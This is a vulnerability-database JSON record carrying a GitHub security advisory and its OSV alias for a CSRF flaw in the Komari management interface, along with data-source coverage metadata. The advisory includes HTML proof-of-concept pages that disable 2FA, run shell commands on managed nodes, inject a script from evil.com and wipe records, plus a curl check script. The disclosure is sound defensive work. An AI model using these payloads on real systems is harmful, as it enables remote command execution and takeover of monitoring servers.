{"id":"GHSA-hxjg-93wc-h8p8","revision":null,"records":[{"revision":"599bcc1cf0c84c7ca9a7349b2fb297df","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-hxjg-93wc-h8p8","aliases":["GO-2026-6449"],"title":"Komari: Management Interface CSRF","description":"# Vulnerability Overview\n\nThe `session_token` cookie is set **without** the `SameSite` or `Secure` attributes (`login.go:68`).\n\nAll `/api/admin/` management endpoints rely solely on this cookie for authentication, with **no CSRF token or Origin validation**.\n\n**The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default `SameSite=Lax` behavior.**\n\n## Root Cause\n\n```go\n// komari-main/api/public/login.go:68\nc.SetCookie(\"session_token\", session, 2592000, \"/\", \"\", false, true)\n//   Secure=false, SameSite not explicitly set\n//   Admin route group (server.go:213-343) has no CSRF middleware\n```\n\nGin's `ShouldBindJSON` does not strictly validate the `Content-Type` header, allowing `text/plain` requests to bypass CORS preflight.\n\n## Browser Limitations\n\n- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to `SameSite=Lax`.\n- Cookies without an explicit `SameSite` attribute **are not included in cross-site POST requests**.\n- As a result, the server receives requests without the session cookie and returns **HTTP 401 Unauthorized**.\n\n| Scenario | Exploitable |\n|----------|-------------|\n| Cross-site HTML (modern browsers) | ✗ Blocked by `SameSite=Lax` |\n| Cross-site HTML (Chrome <80 / legacy browsers) | ✓ |\n| Same-origin context (Browser Console / existing XSS) | ✓ |\n| Man-in-the-middle over HTTP (`Secure=false`) | ✓ |\n\n## High-Impact Operations Reachable via CSRF\n\n| Endpoint | Method | Impact |\n|----------|--------|--------|\n| `/api/admin/task/exec` | POST | Execute arbitrary shell commands on managed nodes |\n| `/api/admin/2fa/disable` | POST | Disable administrator two-factor authentication |\n| `/api/admin/settings/` | POST | Modify system configuration |\n| `/api/admin/upload/backup` | POST | Upload a malicious backup |\n| `/api/admin/record/clear/all` | POST | Delete all monitoring records |\n| `/api/admin/client/:uuid/edit` | POST | Modify client configuration |\n| `/api/admin/client/:uuid/remove` | POST | Remove managed clients |\n| `/api/admin/session/remove/all` | POST | Invalidate all active sessions |\n| `/api/admin/settings/cloudflared/start` | POST | Start a Cloudflared tunnel |\n\n## PoC 1 — Disable 2FA\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Loading...</title></head>\n<body>\n<iframe name=\"sink\" style=\"display:none\"></iframe>\n<form id=\"f\" method=\"POST\"\n      action=\"https://komari.example.com/api/admin/2fa/disable\"\n      target=\"sink\"></form>\n<script>\n  document.getElementById('f').submit();\n</script>\n</body>\n</html>\n```\n\n## PoC 2 — Remote Command Execution\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Loading...</title></head>\n<body>\n<script>\nvar KOMARI = \"https://komari.example.com\";\nvar CMD    = \"id && hostname && whoami\";\n\nfetch(KOMARI + \"/api/admin/client/list\", { credentials: \"include\" })\n  .then(function(r){ return r.json(); })\n  .then(function(data){\n    var nodes = data.data || [];\n    var uuids = [];\n    for (var i = 0; i < nodes.length; i++) {\n      if (nodes[i].uuid) uuids.push(nodes[i].uuid);\n    }\n    if (uuids.length === 0) return;\n    return fetch(KOMARI + \"/api/admin/task/exec\", {\n      method: \"POST\",\n      credentials: \"include\",\n      headers: { \"Content-Type\": \"application/json\" },\n      body: JSON.stringify({ command: CMD, clients: uuids })\n    });\n  });\n</script>\n</body>\n</html>\n```\n\n## PoC 3 — Modify System Configuration\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Loading...</title></head>\n<body>\n<script>\nvar KOMARI = \"https://komari.example.com\";\nfetch(KOMARI + \"/api/admin/settings/\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: JSON.stringify({\n    \"site_name\": \"Pwned\",\n    \"custom_head\": \"<script src='https://evil.com/hook.js'><\\/script>\"\n  })\n});\n</script>\n</body>\n</html>\n```\n\n## PoC 4 — Clear All Monitoring Records\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Loading...</title></head>\n<body>\n<iframe name=\"sink\" style=\"display:none\"></iframe>\n<form id=\"f\" method=\"POST\"\n      action=\"https://komari.example.com/api/admin/record/clear/all\"\n      target=\"sink\"></form>\n<script>\ndocument.getElementById('f').submit();\n</script>\n</body>\n</html>\n```\n\n## Verification Script\n\n```bash\n#!/bin/bash\nKOMARI=\"${1:-https://komari.example.com}\"\n\necho \"=== CSRF Verification ===\"\n\necho \"[1] Cookie Attributes...\"\ncurl -s -D - -o /dev/null \\\n  -X POST \"$KOMARI/api/public/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"test\",\"password\":\"test\"}' | grep -i 'set-cookie'\n\necho \"\"\necho \"[2] CORS Headers...\"\ncurl -s -D - -o /dev/null \\\n  -H \"Origin: https://evil.com\" \\\n  \"$KOMARI/api/public/config\" | grep -i 'access-control'\n\necho \"\"\necho \"[3] CSRF Protection on Admin Endpoint...\"\nCODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n  -X POST \"$KOMARI/api/admin/settings/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: https://evil.com\" \\\n  -d '{}')\n\necho \"    HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present.\"\n```","state":0,"publishedAt":"2026-09-09T23:48:31+00:00","modifiedAt":"2026-09-17T17:41:04.6534985+00:00","affected":[{"ecosystem":"Go","name":"github.com/komari-monitor/komari","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260609084633-98122fa4d110"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/komari-monitor/komari/security/advisories/GHSA-hxjg-93wc-h8p8","https://github.com/komari-monitor/komari","https://github.com/komari-monitor/komari/releases/tag/1.2.2"],"sourceUrl":"https://github.com/advisories/GHSA-hxjg-93wc-h8p8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-hxjg-93wc-h8p8","identifiers":["GHSA-hxjg-93wc-h8p8","GO-2026-6449"]},"retained":false,"historicalAffected":[]},{"revision":"09fc8ed300d7464d9d0461c09e4cc4e9","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6449","aliases":["GHSA-hxjg-93wc-h8p8"],"title":"Komari: Management Interface CSRF in github.com/komari-monitor/komari","description":"Komari: Management Interface CSRF in github.com/komari-monitor/komari","state":0,"publishedAt":"2026-09-16T16:56:22+00:00","modifiedAt":"2026-09-17T17:30:12.19061+00:00","affected":[{"ecosystem":"Go","name":"github.com/komari-monitor/komari","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260609084633-98122fa4d110"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/komari-monitor/komari/security/advisories/GHSA-hxjg-93wc-h8p8","https://github.com/komari-monitor/komari/releases/tag/1.2.2"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6449","license":"OSV · upstream source license applies","key":"osv:GO-2026-6449","identifiers":["GO-2026-6449","GHSA-hxjg-93wc-h8p8"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-14T02:56:59.5910509+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-14T02:56:59.5910509+00:00","lastSuccessAt":"2026-11-14T02:56:59.7166775+00:00","error":null,"lastVerifiedAt":"2026-11-14T02:56:59.7166784+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f4305fb3b9417bd97547e9305731a80b9463cd5f49ef853b3cd62960cad53a57-96bbed4ad6df0de3c3e66f1d03c1fec1a2d5da316ef7633c88e75e4ba8c90a4f","complete":true,"records":425693,"lastAttemptAt":"2026-11-14T02:56:58.895337+00:00","lastSuccessAt":"2026-11-14T02:56:58.8716477+00:00","error":null,"lastVerifiedAt":"2026-11-14T02:56:58.895337+00:00","snapshotPublishedAt":"2026-11-14T02:25:44+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-264cf36f9e1143c58be77c29bf3c338d","complete":false,"records":13815,"lastAttemptAt":"2026-11-14T03:08:40.9117197+00:00","lastSuccessAt":"2026-11-14T03:08:40.896+00:00","error":"650 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-14T03:08:40.896+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":12835,"expectedIdentifiers":13868,"failedIdentifiers":650},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-14T02:56:59.5910509+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-14T02:56:59.5910509+00:00","lastSuccessAt":"2026-11-14T02:56:59.7174296+00:00","error":null,"lastVerifiedAt":"2026-11-14T02:56:59.7174299+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-718050cbd0794186a427d32b5f62b763","complete":false,"records":13815,"lastAttemptAt":"2026-11-14T02:57:52.042697+00:00","lastSuccessAt":"2026-11-14T02:57:52.039+00:00","error":"626 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-14T02:57:52.039+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13042,"expectedIdentifiers":13868,"failedIdentifiers":626},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0b57fec07d57d893c006f1cfeb0af7ae73375ea99dba0cb68b1da97c5ec74185","complete":true,"records":9955,"lastAttemptAt":"2026-11-14T02:56:59.5224222+00:00","lastSuccessAt":"2026-11-13T23:59:01.475919+00:00","error":null,"lastVerifiedAt":"2026-11-14T02:56:59.5224222+00:00","snapshotPublishedAt":"2026-11-13T23:17:54+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-14T02:56:59.0375336+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-14T02:56:59.0375336+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-b2a1c7e3d3a7a08d2f1d434cf7506729cd24e1899dd5ef84e8cad23331aabfc5","complete":true,"records":3148,"lastAttemptAt":"2026-11-14T02:56:59.5400327+00:00","lastSuccessAt":"2026-11-13T19:59:34.677076+00:00","error":null,"lastVerifiedAt":"2026-11-14T02:56:59.5400327+00:00","snapshotPublishedAt":"2026-11-13T19:33:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-37366bff71ea78feb651ae99cfe7defeab6144891d3020bd793ff7dbbf69c41d","complete":true,"records":232470,"lastAttemptAt":"2026-11-14T02:56:59.4163465+00:00","lastSuccessAt":"2026-11-14T01:59:59.3242987+00:00","error":null,"lastVerifiedAt":"2026-11-14T02:56:59.4163465+00:00","snapshotPublishedAt":"2026-11-14T01:33:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}